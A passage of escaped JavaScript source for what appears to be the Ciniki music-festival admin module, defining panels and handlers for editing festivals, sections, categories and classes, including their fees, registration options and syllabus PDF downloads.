M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'competitor-group-parent-msg':{'label':'Parent Intro', 'type':'textarea', 'size':'medium'},\\n 'competitor-group-teacher-msg':{'label':'Teacher Intro', 'type':'textarea', 'size':'medium'},\\n 'competitor-group-adult-msg':{'label':'Adult Intro', 'type':'textarea', 'size':'medium'},\\n 'competitor-group-study-level':{'label':'Study Level', 'type':'toggle', 'default':'optional', 'toggles':{\\n 'options':'Optional', 'required':'Required', 'hidden':'Hidden',\\n }},\\n }},\\n '_waiver':{'label':'Waiver Message', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'waiver-title':{'label':'Title', 'type':'text'},\\n 'waiver-msg':{'label':'Message', 'type':'textarea', 'size':'medium'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.edit.save();'},\\n 'updatename':{'label':'Update Public Names', \\n 'visible':function() {return M.ciniki_musicfestivals_main.edit.festival_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.edit.updateNames();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.edit.festival_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.edit.save();'},\\n }},\\n };\\n this.edit.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.edit.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.festivalHistory', 'args':{'tnid':M.curTenantID, 'festival_id':this.festival_id, 'field':i}};\\n }\\n this.edit.switchTab = function(tab) {\\n this.sections._tabs.selected = tab;\\n this.showHideSection('_primary_image_id');\\n this.showHideSection('_description');\\n this.showHideSection('_document_logo_id');\\n this.showHideSection('_document_header_msg');\\n this.showHideSection('_document_footer_msg');\\n this.showHideSection('_comments_pdf');\\n this.showHideSection('_certificates_pdf');\\n this.showHideSection('_syllabus');\\n this.showHideSection('_registration_parent_msg');\\n this.showHideSection('_registration_teacher_msg');\\n this.showHideSection('_registration_adult_msg');\\n this.showHideSection('_competitor_parent_msg');\\n this.showHideSection('_competitor_teacher_msg');\\n this.showHideSection('_competitor_adult_msg');\\n this.showHideSection('_competitor_group_parent_msg');\\n this.showHideSection('_competitor_group_teacher_msg');\\n this.showHideSection('_competitor_group_adult_msg');\\n this.showHideSection('_waiver');\\n this.refreshSection('_tabs');\\n }\\n this.edit.updateNames = function() {\\n M.api.getJSONCb('ciniki.musicfestivals.registrationNamesUpdate', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.alert(\\\"Done\\\");\\n });\\n }\\n this.edit.open = function(cb, fid, list) {\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.festivalGet', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.edit;\\n p.data = rsp.festival;\\n if( (rsp.festival.flags&0x02) == 0x02 ) {\\n p.sections.general.fields.flags3.visible = 'yes';\\n p.sections.general.fields.virtual_date.visible = 'yes';\\n p.sections.general.fields.upload_end_dt.visible = 'yes';\\n } else {\\n p.sections.general.fields.virtual_date.visible = 'no';\\n p.sections.general.fields.upload_end_dt.visible = 'no';\\n }\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.edit.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.edit.close();'; }\\n if( this.festival_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.festivalUpdate', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.festivalAdd', {'tnid':M.curTenantID}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.edit.festival_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.edit.remove = function() {\\n M.confirm('Are you sure you want to remove festival?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.festivalDelete', {'tnid':M.curTenantID, 'festival_id':M.ciniki_musicfestivals_main.edit.festival_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.edit.close();\\n });\\n });\\n }\\n this.edit.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.edit.save(\\\\'M.ciniki_musicfestivals_main.edit.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.edit.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.edit.save(\\\\'M.ciniki_musicfestivals_main.festival_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.edit.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.edit.save();');\\n this.edit.addClose('Cancel');\\n this.edit.addButton('next', 'Next');\\n this.edit.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Section\\n //\\n this.section = new M.panel('Section', 'ciniki_musicfestivals_main', 'section', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.section');\\n this.section.data = null;\\n this.section.festival_id = 0;\\n this.section.section_id = 0;\\n this.section.nplists = {};\\n this.section.nplist = [];\\n this.section.sections = {\\n '_primary_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.section.setFieldValue('primary_image_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n 'deleteImage':function(fid) {\\n M.ciniki_musicfestivals_main.section.setFieldValue('primary_image_id',0);\\n return true;\\n },\\n },\\n }},\\n 'general':{'label':'Section', 'aside':'yes', 'fields':{\\n 'name':{'label':'Name', 'type':'text', 'required':'yes'},\\n 'sequence':{'label':'Order', 'type':'text', 'required':'yes', 'size':'small'},\\n 'flags':{'label':'Options', 'type':'flags', 'flags':{'1':{'name':'Hidden'}}},\\n 'live_end_dt':{'label':'Live Deadline', 'type':'datetime',\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x08) == 0x08 ? 'yes' : 'no';},\\n },\\n 'virtual_end_dt':{'label':'Virtual Deadline', 'type':'datetime',\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x0a) == 0x0a ? 'yes' : 'no';},\\n },\\n 'edit_end_dt':{'label':'Edit Titles Deadline', 'type':'datetime',\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x0a) == 0x0a ? 'yes' : 'no';},\\n },\\n 'upload_end_dt':{'label':'Upload Deadline', 'type':'datetime',\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x0a) == 0x0a ? 'yes' : 'no';},\\n },\\n }},\\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'categories', 'tabs':{\\n 'categories':{'label':'Categories', 'fn':'M.ciniki_musicfestivals_main.section.switchTab(\\\\'categories\\\\');'},\\n 'synopsis':{'label':'Description', 'fn':'M.ciniki_musicfestivals_main.section.switchTab(\\\\'synopsis\\\\');'},\\n }},\\n '_synopsis':{'label':'Synopsis', \\n 'visible':function() { return M.ciniki_musicfestivals_main.section.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\\n 'fields':{'synopsis':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'small'}},\\n },\\n '_description':{'label':'Description', \\n 'visible':function() { return M.ciniki_musicfestivals_main.section.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\\n 'fields':{'description':{'label':'', 'hidelabel':'yes', 'type':'textarea'}},\\n },\\n 'categories':{'label':'Categories', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return M.ciniki_musicfestivals_main.section.sections._tabs.selected == 'categories' ? 'yes' : 'hidden'; },\\n 'addTxt':'Add Category',\\n 'addFn':'M.ciniki_musicfestivals_main.section.openCategory(0);',\\n },\\n '_buttons':{'label':'', 'buttons':{\\n 'syllabuspdf':{'label':'Download Syllabus (PDF)', 'fn':'M.ciniki_musicfestivals_main.section.downloadSyllabusPDF();'},\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.section.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.section.section_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.section.remove();'},\\n }},\\n };\\n this.section.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.section.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.sectionHistory', 'args':{'tnid':M.curTenantID, 'section_id':this.section_id, 'field':i}};\\n }\\n this.section.cellValue = function(s, i, j, d) {\\n switch (j) {\\n case 0: return d.name;\\n }\\n }\\n this.section.rowFn = function(s, i, d) {\\n return 'M.ciniki_musicfestivals_main.section.openCategory(\\\\'' + d.id + '\\\\');';\\n }\\n this.section.openCategory = function(cid) {\\n this.save(\\\"M.ciniki_musicfestivals_main.category.open('M.ciniki_musicfestivals_main.section.open();', '\\\" + cid + \\\"', this.section_id, this.festival_id, this.nplists.categories);\\\");\\n }\\n this.section.switchTab = function(tab) {\\n this.sections._tabs.selected = tab;\\n this.refresh();\\n this.show();\\n }\\n this.section.downloadSyllabusPDF = function() {\\n M.api.openPDF('ciniki.musicfestivals.festivalSyllabusPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'section_id':this.section_id});\\n }\\n this.section.open = function(cb, sid, fid, list) {\\n if( sid != null ) { this.section_id = sid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.sectionGet', {'tnid':M.curTenantID, 'section_id':this.section_id, 'festival_id':this.festival_id, 'categories':'yes'}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.section;\\n p.data = rsp.section;\\n p.festival_id = rsp.section.festival_id;\\n p.nplists = {};\\n if( rsp.nplists != null ) {\\n p.nplists = rsp.nplists;\\n }\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.section.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.section.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.section_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.sectionUpdate', {'tnid':M.curTenantID, 'section_id':this.section_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.sectionAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.section.section_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.section.remove = function() {\\n M.confirm('Are you sure you want to remove section?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.sectionDelete', {'tnid':M.curTenantID, 'section_id':M.ciniki_musicfestivals_main.section.section_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.section.close();\\n });\\n });\\n }\\n this.section.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.section.save(\\\\'M.ciniki_musicfestivals_main.section.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.section.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.section.save(\\\\'M.ciniki_musicfestivals_main.section.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.section.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.section.save();');\\n this.section.addClose('Cancel');\\n this.section.addButton('next', 'Next');\\n this.section.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Section Classes\\n //\\n this.classes = new M.panel('Section', 'ciniki_musicfestivals_main', 'classes', 'mc', 'full', 'sectioned', 'ciniki.musicfestivals.main.classes');\\n this.classes.data = null;\\n this.classes.festival_id = 0;\\n this.classes.section_id = 0;\\n this.classes.nplists = {};\\n this.classes.nplist = [];\\n this.classes.sections = {\\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'fees', \\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x40); },\\n 'tabs':{\\n 'fees':{'label':'Fees', 'fn':'M.ciniki_musicfestivals_main.classes.switchTab(\\\"fees\\\");'},\\n 'trophies':{'label':'Trophies', 'fn':'M.ciniki_musicfestivals_main.classes.switchTab(\\\"trophies\\\");'},\\n }},\\n 'classes':{'label':'Classes', 'type':'simplegrid', 'num_cols':7,\\n 'headerValues':['Order', 'Category', 'Code', 'Class', 'Levels', 'Earlybird', 'Live', 'Virtual'],\\n 'sortable':'yes',\\n 'sortTypes':['text', 'text', 'text', 'text', 'number', 'number', 'number'],\\n 'dataMaps':['joined_sequence', 'category_name', 'code', 'class_name', 'level', 'earlybird_fee', 'fee', 'virtual_fee'],\\n },\\n/* '_buttons':{'label':'', 'halfsize':'yes', 'buttons':{\\n 'syllabuspdf':{'label':'Download Syllabus (PDF)', 'fn':'M.ciniki_musicfestivals_main.section.downloadSyllabusPDF();'},\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.section.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.section.section_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.section.remove();'},\\n }}, */\\n };\\n this.classes.switchTab = function(t) {\\n this.sections._tabs.selected = t;\\n this.open();\\n }\\n this.classes.cellValue = function(s, i, j, d) {\\n if( this.sections.classes.dataMaps[j] != null ) {\\n if( this.sections.classes.dataMaps[j].match(/fee/) ) {\\n return M.formatDollar(d[this.sections.classes.dataMaps[j]]);\\n }\\n if( this.sections.classes.dataMaps[j] == 'num_registrations' && d[this.sections.classes.dataMaps[j]] == 0 ) {\\n return '';\\n }\\n return d[this.sections.classes.dataMaps[j]];\\n }\\n }\\n this.classes.rowFn = function(s, i, d) {\\n return 'M.ciniki_musicfestivals_main.class.open(\\\\'M.ciniki_musicfestivals_main.classes.open();\\\\',\\\\'' + d.id + '\\\\',\\\\'' + d.category_id + '\\\\',\\\\'' + this.festival_id + '\\\\',M.ciniki_musicfestivals_main.classes.nplists.classes);';\\n }\\n this.classes.downloadSyllabusPDF = function() {\\n M.api.openPDF('ciniki.musicfestivals.festivalSyllabusPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'section_id':this.section_id});\\n }\\n this.classes.open = function(cb, sid, fid, list) {\\n if( sid != null ) { this.section_id = sid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.sectionClasses', {'tnid':M.curTenantID, 'section_id':this.section_id, 'festival_id':this.festival_id, 'list':this.sections._tabs.selected}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.classes;\\n p.data = rsp;\\n p.sections.classes.headerValues = ['Order', 'Category', 'Code', 'Class'];\\n p.sections.classes.sortTypes = ['text', 'text', 'text', 'text'];\\n p.sections.classes.dataMaps = ['joined_sequence', 'category_name', 'code', 'class_name'];\\n if( p.sections._tabs.selected == 'trophies' ) {\\n p.sections.classes.headerValues.push('Trophies');\\n p.sections.classes.sortTypes.push('text');\\n p.sections.classes.dataMaps.push('trophies');\\n } else {\\n if( M.modFlagOn('ciniki.musicfestivals', 0x1000) ) {\\n p.sections.classes.headerValues.push('Levels');\\n p.sections.classes.sortTypes.push('text');\\n p.sections.classes.dataMaps.push('levels');\\n }\\n p.sections.classes.headerValues.push('Earlybird');\\n p.sections.classes.sortTypes.push('number');\\n p.sections.classes.dataMaps.push('earlybird_fee');\\n p.sections.classes.headerValues.push('Fee');\\n p.sections.classes.sortTypes.push('number');\\n p.sections.classes.dataMaps.push('fee');\\n if( (rsp.festival.flags&0x04) == 0x04 ) {\\n p.sections.classes.headerValues.push('Virtual');\\n p.sections.classes.sortTypes.push('number');\\n p.sections.classes.dataMaps.push('virtual_fee');\\n }\\n if( M.modFlagOn('ciniki.musicfestivals', 0x0800) ) {\\n p.sections.classes.headerValues.push('Earlybird Plus');\\n p.sections.classes.sortTypes.push('number');\\n p.sections.classes.dataMaps.push('earlybird_plus_fee');\\n p.sections.classes.headerValues.push('Plus');\\n p.sections.classes.sortTypes.push('number');\\n p.sections.classes.dataMaps.push('plus_fee');\\n }\\n p.sections.classes.headerValues.push('Registrations');\\n p.sections.classes.sortTypes.push('number');\\n p.sections.classes.dataMaps.push('num_registrations');\\n p.sections.classes.num_cols = p.sections.classes.headerValues.length;\\n }\\n\\n p.festival_id = rsp.section.festival_id;\\n p.sections.classes.label = rsp.section.name + ' - Classes';\\n p.nplists = {};\\n if( rsp.nplists != null ) {\\n p.nplists = rsp.nplists;\\n }\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.classes.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.classes.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) + 1] + ');';\\n }\\n return null;\\n }\\n this.classes.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.section_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.classes.open(null,' + this.nplist[this.nplist.indexOf('' + this.section_id) - 1] + ');';\\n }\\n return null;\\n }\\n this.classes.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.section.save();');\\n this.classes.addClose('Cancel');\\n this.classes.addButton('next', 'Next');\\n this.classes.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Category\\n //\\n this.category = new M.panel('Category', 'ciniki_musicfestivals_main', 'category', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.category');\\n this.category.data = null;\\n this.category.category_id = 0;\\n this.category.nplists = {};\\n this.category.nplist = [];\\n this.category.sections = {\\n '_primary_image_id':{'label':'Image', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.category.setFieldValue('primary_image_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n 'deleteImage':function(fid) {\\n M.ciniki_musicfestivals_main.category.setFieldValue(fid,0);\\n return true;\\n },\\n },\\n }},\\n 'general':{'label':'', 'aside':'yes', 'fields':{\\n 'section_id':{'label':'Section', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\\n 'name':{'label':'Name', 'required':'yes', 'type':'text'},\\n 'sequence':{'label':'Order', 'required':'yes', 'type':'text'},\\n }},\\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'classes', 'tabs':{\\n 'classes':{'label':'Classes', 'fn':'M.ciniki_musicfestivals_main.category.switchTab(\\\\'classes\\\\');'},\\n 'synopsis':{'label':'Description', 'fn':'M.ciniki_musicfestivals_main.category.switchTab(\\\\'synopsis\\\\');'},\\n }},\\n '_synopsis':{'label':'Synopsis', \\n 'visible':function() { return M.ciniki_musicfestivals_main.category.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\\n 'fields':{'synopsis':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'small'}},\\n },\\n '_description':{'label':'Description', \\n 'visible':function() { return M.ciniki_musicfestivals_main.category.sections._tabs.selected == 'synopsis' ? 'yes' : 'hidden'; },\\n 'fields':{'description':{'label':'', 'hidelabel':'yes', 'type':'textarea'}},\\n },\\n 'classes':{'label':'Classes', 'type':'simplegrid', 'num_cols':5,\\n 'visible':function() { return M.ciniki_musicfestivals_main.category.sections._tabs.selected == 'classes' ? 'yes' : 'hidden'; },\\n 'headerValues':['Code', 'Name', 'Earlybird', 'Fee', 'Virtual'],\\n 'addTxt':'Add Class',\\n 'addFn':'M.ciniki_musicfestivals_main.category.openClass(0);',\\n },\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.category.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.category.category_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.category.remove();'},\\n }},\\n };\\n this.category.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.category.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.categoryHistory', 'args':{'tnid':M.curTenantID, 'category_id':this.category_id, 'field':i}};\\n }\\n this.category.cellValue = function(s, i, j, d) {\\n switch (j) {\\n case 0: return d.code;\\n case 1: return d.name;\\n case 2: return (d.earlybird_fee > 0 ? M.formatDollar(d.earlybird_fee) : '');\\n case 3: return (d.fee > 0 ? M.formatDollar(d.fee) : '');\\n case 4: return (d.virtual_fee > 0 ? M.formatDollar(d.virtual_fee) : '');\\n }\\n }\\n this.category.rowFn = function(s, i, d) {\\n return 'M.ciniki_musicfestivals_main.category.openClass(\\\\'' + d.id + '\\\\');';\\n }\\n this.category.openClass = function(cid) {\\n this.save(\\\"M.ciniki_musicfestivals_main.class.open('M.ciniki_musicfestivals_main.category.open();','\\\" + cid + \\\"', this.category_id, this.festival_id, this.nplists.classes);\\\");\\n }\\n this.category.switchTab = function(tab) {\\n this.sections._tabs.selected = tab;\\n this.refresh();\\n this.show();\\n }\\n this.category.open = function(cb, cid, sid,fid,list) {\\n if( cid != null ) { this.category_id = cid; }\\n if( sid != null ) { this.section_id = sid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.categoryGet', {'tnid':M.curTenantID, \\n 'category_id':this.category_id, 'festival_id':this.festival_id, 'section_id':this.section_id,\\n 'sections':'yes', 'classes':'yes'}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.category;\\n p.data = rsp.category;\\n p.nplists = {};\\n if( rsp.nplists != null ) {\\n p.nplists = rsp.nplists;\\n }\\n p.sections.general.fields.section_id.options = rsp.sections;\\n if( M.ciniki_musicfestivals_main.festival.data.flags != null \\n && (M.ciniki_musicfestivals_main.festival.data.flags&0x04) == 0x04 \\n ) {\\n p.sections.classes.num_cols = 5;\\n } else {\\n p.sections.classes.num_cols = 4;\\n }\\n\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.category.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.category.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.category_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.categoryUpdate', {'tnid':M.curTenantID, 'category_id':this.category_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.categoryAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.category.category_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.category.remove = function() {\\n M.confirm('Are you sure you want to remove category?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.categoryDelete', {'tnid':M.curTenantID, 'category_id':M.ciniki_musicfestivals_main.category.category_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.category.close();\\n });\\n });\\n }\\n this.category.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.category_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.category.save(\\\\'M.ciniki_musicfestivals_main.category.open(null,' + this.nplist[this.nplist.indexOf('' + this.category_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.category.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.category_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.category.save(\\\\'M.ciniki_musicfestivals_main.category.open(null,' + this.nplist[this.nplist.indexOf('' + this.category_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.category.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.category.save();');\\n this.category.addClose('Cancel');\\n this.category.addButton('next', 'Next');\\n this.category.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Class\\n //\\n this.class = new M.panel('Class', 'ciniki_musicfestivals_main', 'class', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.class');\\n this.class.data = null;\\n this.class.festival_id = 0;\\n this.class.class_id = 0;\\n this.class.nplists = {};\\n this.class.nplist = [];\\n this.class.sections = {\\n 'general':{'label':'', 'aside':'yes', 'fields':{\\n 'category_id':{'label':'Category', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}},\\n 'code':{'label':'Code', 'type':'text', 'size':'small'},\\n 'name':{'label':'Name', 'type':'text'},\\n// 'level':{'label':'Level', 'type':'text', 'livesearch':'yes', 'livesearchempty':'yes',\\n// 'visible':function() {return M.modFlagSet('ciniki.musicfestivals', 0x1000); },\\n// },\\n 'levels':{'label':'Level', 'type':'tags', 'tags':[], 'hint':'Enter a new level:', 'sort':'no',\\n 'visible':function() {return M.modFlagSet('ciniki.musicfestivals', 0x1000); },\\n },\\n 'sequence':{'label':'Order', 'type':'text'},\\n 'earlybird_fee':{'label':'Earlybird Fee', 'type':'text', 'size':'small'},\\n 'fee':{'label':'Fee', 'type':'text', 'size':'small'},\\n 'virtual_fee':{'label':'Virtual Fee', 'type':'text', 'size':'small',\\n 'visible':function() { \\n if( M.ciniki_musicfestivals_main.festival.data.flags != null \\n && (M.ciniki_musicfestivals_main.festival.data.flags&0x04) == 0x04 \\n ) {\\n return 'yes';\\n }\\n return 'no';\\n },\\n },\\n 'earlybird_plus_fee':{'label':'Earlybird Plus Fee', 'type':'text', 'size':'small',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0800); },\\n },\\n 'plus_fee':{'label':'Plus Fee', 'type':'text', 'size':'small',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0800); },\\n },\\n }},\\n// '_tags':{'label':'Tags', \\n// 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\\n// 'fields':{\\n// }},\\n 'registration':{'label':'Registration Options', 'aside':'yes', 'fields':{\\n 'flags1':{'label':'Online Registrations', 'type':'flagtoggle', 'default':'on', 'bit':0x01, 'field':'flags'},\\n 'flags2':{'label':'Multiple/Registrant', 'type':'flagtoggle', 'default':'on', 'bit':0x02, 'field':'flags'},\\n 'flags5':{'label':'2nd Competitor', 'type':'flagtoggle', 'default':'off', 'bit':0x10, 'field':'flags'},\\n 'flags6':{'label':'3rd Competitor', 'type':'flagtoggle', 'default':'off', 'bit':0x20, 'field':'flags'},\\n 'flags7':{'label':'4th Competitor', 'type':'flagtoggle', 'default':'off', 'bit':0x40, 'field':'flags'},\\n 'flags13':{'label':'2nd Title & Time', 'type':'flagtoggle', 'default':'off', 'bit':0x1000, 'field':'flags'},\\n 'flags14':{'label':'2nd Title & Time Optional', 'type':'flagtoggle', 'default':'off', 'bit':0x2000, 'field':'flags'},\\n 'flags15':{'label':'3rd Title & Time', 'type':'flagtoggle', 'default':'off', 'bit':0x4000, 'field':'flags'},\\n 'flags16':{'label':'3rd Title & Time Optional', 'type':'flagtoggle', 'default':'off', 'bit':0x8000, 'field':'flags'},\\n }},\\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':3, \\n 'headerValues':['Competitor', 'Teacher', 'Status'],\\n 'noData':'No registrations',\\n// 'addTxt':'Add Registration',\\n// 